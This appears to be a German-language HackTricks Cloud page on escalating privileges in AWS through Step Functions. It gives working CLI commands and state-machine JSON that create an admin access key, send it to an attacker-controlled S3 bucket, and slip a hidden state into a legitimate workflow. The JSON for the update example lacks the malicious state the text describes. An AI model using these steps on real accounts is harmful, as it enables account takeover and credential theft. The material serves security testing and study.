AWS - Step Functions Privesc
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Step Functions
Für weitere Informationen zu diesem AWS-Service, siehe:
Task-Ressourcen
Diese privilege escalation techniques erfordern die Verwendung einiger AWS Step Functions-Ressourcen, um die gewünschten privilege escalation Aktionen durchzuführen.
Um alle möglichen Aktionen zu prüfen, können Sie in Ihrem eigenen AWS-Konto die Aktion auswählen, die Sie verwenden möchten, und die verwendeten Parameter einsehen, wie z. B.:

Oder Sie können auch die AWS API-Dokumentation aufrufen und die Dokumentation jeder Aktion prüfen:
states:TestState & iam:PassRole
Ein attacker mit den Berechtigungen states:TestState & iam:PassRole kann jeden State testen und jede IAM-Rolle an diesen übergeben, ohne eine vorhandene state machine zu erstellen oder zu aktualisieren, und damit potenziell unautorisierten Zugriff auf andere AWS-Services mit den Berechtigungen der Rolle ermöglichen. Kombiniert können diese Berechtigungen zu umfangreichen unautorisierten Aktionen führen, von der Manipulation von Workflows und der Änderung von Daten bis hin zu Datenverletzungen, Ressourcenmanipulation und privilege escalation.
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
Die folgenden Beispiele zeigen, wie man einen State testet, der einen Access Key für den Benutzer admin erstellt, indem diese Berechtigungen und eine permissive Rolle der AWS-Umgebung ausgenutzt werden. Diese permissive Rolle sollte mit einer hochprivilegierten Policy verknüpft sein (zum Beispiel arn:aws:iam::aws:policy/AdministratorAccess), die dem State erlaubt, die Aktion iam:CreateAccessKey auszuführen:
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- Befehl ausgeführt, um das privesc durchzuführen:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
Potenzielle Auswirkungen: Unautorisierte Ausführung und Manipulation von Workflows sowie Zugriff auf sensible Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.
states:CreateStateMachine & iam:PassRole & (states:StartExecution | states:StartSyncExecution)
Ein Angreifer mit den states:CreateStateMachine- und iam:PassRole-Rechten könnte eine state machine erstellen und ihr jede beliebige IAM-Rolle zuweisen, wodurch unautorisierter Zugriff auf andere AWS-Services mit den Berechtigungen dieser Rollen möglich würde. Im Gegensatz zur vorherigen Privesc-Technik (states:TestState & iam:PassRole) führt sich diese nicht selbst aus; zusätzlich benötigen Sie die Berechtigung states:StartExecution oder states:StartSyncExecution (states:StartSyncExecution ist nicht available for standard workflows, just to express state machines), um die Ausführung der state machine zu starten.
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
Die folgenden Beispiele zeigen, wie man eine state machine erstellt, die einen Zugriffsschlüssel für den admin-Benutzer erzeugt und diesen Zugriffsschlüssel in einen vom Angreifer kontrollierten S3-Bucket exfiltriert, indem sie diese Berechtigungen und eine permissive Rolle der AWS-Umgebung ausnutzt. Diese permissive Rolle sollte eine hochprivilegierte Policy zugeordnet haben (z. B. arn:aws:iam::aws:policy/AdministratorAccess), die es der state machine erlaubt, die Aktionen iam:CreateAccessKey & s3:putObject auszuführen.
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- Befehl ausgeführt, um die Zustandsmaschine zu erstellen:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- Befehl zum Starten einer Ausführung der zuvor erstellten state machine:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
warning
Der vom Angreifer kontrollierte S3-Bucket sollte Berechtigungen haben, um eine s3:PutObject-Aktion aus dem Opferkonto zu akzeptieren.
Mögliche Auswirkungen: Unautorisierte Ausführung und Manipulation von Workflows sowie Zugriff auf sensitive Ressourcen, was zu erheblichen Sicherheitsverletzungen führen kann.
states:UpdateStateMachine & (not always required) iam:PassRole
Ein Angreifer mit der states:UpdateStateMachine-Berechtigung könnte die Definition einer state machine ändern und zusätzliche, unauffällige States hinzufügen, die zu einer Privilegieneskalation führen. Wenn ein legitimer Benutzer eine Ausführung der state machine startet, wird dieser neue bösartige, versteckte State ausgeführt und die Privilegieneskalation ist erfolgreich.
Je nachdem, wie permissiv die mit der state machine verknüpfte IAM Role ist, steht der Angreifer vor 2 Situationen:
- Permissive IAM Role: Wenn die IAM Role, die mit der state machine verknüpft ist, bereits sehr weitreichende Rechte besitzt (z. B. die Policy
arn:aws:iam::aws:policy/AdministratorAccessangehängt), dann wäre dieiam:PassRole-Berechtigung nicht erforderlich, um Privilegien zu eskalieren, da es nicht nötig wäre, zusätzlich die IAM Role zu aktualisieren — die Änderung der state machine-Definition reicht aus. - Not permissive IAM Role: Im Gegensatz zum vorherigen Fall würde der Angreifer hier zusätzlich die
iam:PassRole-Berechtigung benötigen, da es erforderlich wäre, eine permissive IAM Role der state machine zuzuordnen sowie die state machine-Definition zu ändern.
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
Die folgenden Beispiele zeigen, wie man eine legitime State Machine, die lediglich eine HelloWorld Lambda-Funktion aufruft, so aktualisiert, dass ein zusätzlicher State hinzugefügt wird, der den Benutzer unprivilegedUser zur IAM-Gruppe administrator hinzufügt. Auf diese Weise wird beim Start einer Ausführung der aktualisierten State Machine durch einen legitimen Benutzer dieser neue, bösartige, heimliche State ausgeführt und die Privilegieneskalation gelingt.
warning
Wenn die State Machine nicht mit einer permissiven IAM-Rolle verknüpft ist, ist außerdem die Berechtigung iam:PassRole erforderlich, um die IAM-Rolle zu aktualisieren und eine permissive IAM-Rolle zuzuordnen (zum Beispiel eine Rolle mit der angehängten Richtlinie arn:aws:iam::aws:policy/AdministratorAccess).
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- Befehl ausgeführt, um die legitime State Machine zu aktualisieren:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
Potentielle Auswirkungen: Unbefugte Ausführung und Manipulation von Workflows und Zugriff auf sensible Ressourcen, was möglicherweise zu schwerwiegenden Sicherheitsverletzungen führen kann.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud